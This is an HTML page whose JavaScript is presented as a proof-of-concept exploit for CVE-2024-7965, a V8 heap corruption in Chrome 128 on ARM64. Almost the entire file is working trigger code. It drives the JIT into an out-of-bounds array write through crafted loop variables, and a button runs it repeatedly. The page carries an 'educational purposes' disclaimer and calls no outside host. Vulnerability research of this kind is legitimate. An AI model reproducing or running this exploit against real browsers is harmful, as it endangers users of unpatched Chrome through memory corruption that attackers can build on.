20247965.html

<script>
// CVE-2024-7965 Proof of Concept
// Vulnerability: Heap corruption in V8 (Google Chrome === 128.0.6613.84) "ARM64" Only
// Acknowledgments: Yuri Pazdnikov — Junior Vulnerability Researcher @ BI.ZONE

// This code is only used for educational purposes and should not be used for malicious purposes.

document.addEventListener('DOMContentLoaded', (event) => {
  (function() {
    const ARRAY_SIZE = 150;
    const MOCK_ARRAY_SIZE = 10;
    const OUT_OF_BOUNDS_ARRAY_SIZE = 5;
    const HIGH_BYTE_SPRAY = 0x1;
    const SPRAY_CONDITION = 7;
    const LOOP_ITERATIONS = 10;
    const NESTED_LOOP_ITERATIONS = 5;

    // Initialize arrays
    const largeArray = new Array(ARRAY_SIZE).fill(0);
    largeArray[0] = 1.1;

    const mockArray = new Uint32Array(MOCK_ARRAY_SIZE);
    for (let i = 0; i < MOCK_ARRAY_SIZE; i++) {
      mockArray[i] = i + 1;
    }

    function poc(i1) {
      const outOfBoundsArray = new Array(OUT_OF_BOUNDS_ARRAY_SIZE);
      outOfBoundsArray[0] = 0x500;

      let x1 = mockArray[0];
      let x2 = mockArray[7];

      console.log(`Initial values: i1=${i1}, x1=${x1}, x2=${x2}`);

      // Spray high bytes conditionally
      if (i1 % SPRAY_CONDITION === 0) {
        x2 = 0xff00000000;
      }
      x2 = Math.max(x2, HIGH_BYTE_SPRAY) >>> 0;

      let controlIndex = mockArray[3];
      let loopControlVar = mockArray[6];
      let controlVar1 = mockArray[1];

      console.log(`After setup: x2=${x2}, controlIndex=${controlIndex}, loopControlVar=${loopControlVar}, controlVar1=${controlVar1}`);

      // Main loop to generate cyclic graph
      for (let i = 0; i < LOOP_ITERATIONS; i++) {
        if (i1 % 3 === 0) x1 = controlVar1;
        if (i1 % 37 === 0) x1 = mockArray[2];
        if (i1 % 11 === 0) x1 = mockArray[8];
        if (i1 % 17 === 0) x1 = mockArray[5];
        if (i1 % 19 === 0) x1 = mockArray[4];

        // Modify control variables
        if (i1 % SPRAY_CONDITION === 0 && i >= 5) {
          loopControlVar = x1;
          x1 = x2;
        }

        if (i >= 6) {
          // Nested loop for additional complexity
          for (let j = 0; j < NESTED_LOOP_ITERATIONS; j++) {
            if (i1 % 5 === 0) {
              controlIndex = loopControlVar;
              outOfBoundsArray[controlIndex] = 0x500; // Potential out-of-bounds write
              console.log(`Nested loop: i=${i}, j=${j}, controlIndex=${controlIndex}, outOfBoundsArray=${outOfBoundsArray}`);
            }
          }
        }

        loopControlVar = controlVar1;
        controlVar1 = x1;

        console.log(`Loop iteration ${i}: x1=${x1}, loopControlVar=${loopControlVar}, controlVar1=${controlVar1}`);
      }

      console.log(`Final values: controlIndex=${controlIndex}, x1=${x1}`);
      return [controlIndex, BigInt(x1)];
    }
 
    const rpoc = document.getElementById('rpoc'); 
    rpoc.addEventListener('click', () => {
      for (let i = 2; i < 0x500; i++) {
        poc(i);
      }
      poc(7 * 5);
    });
  })();
});
</script>
<button id="rpoc">Run PoC CVE-2024-7965</button>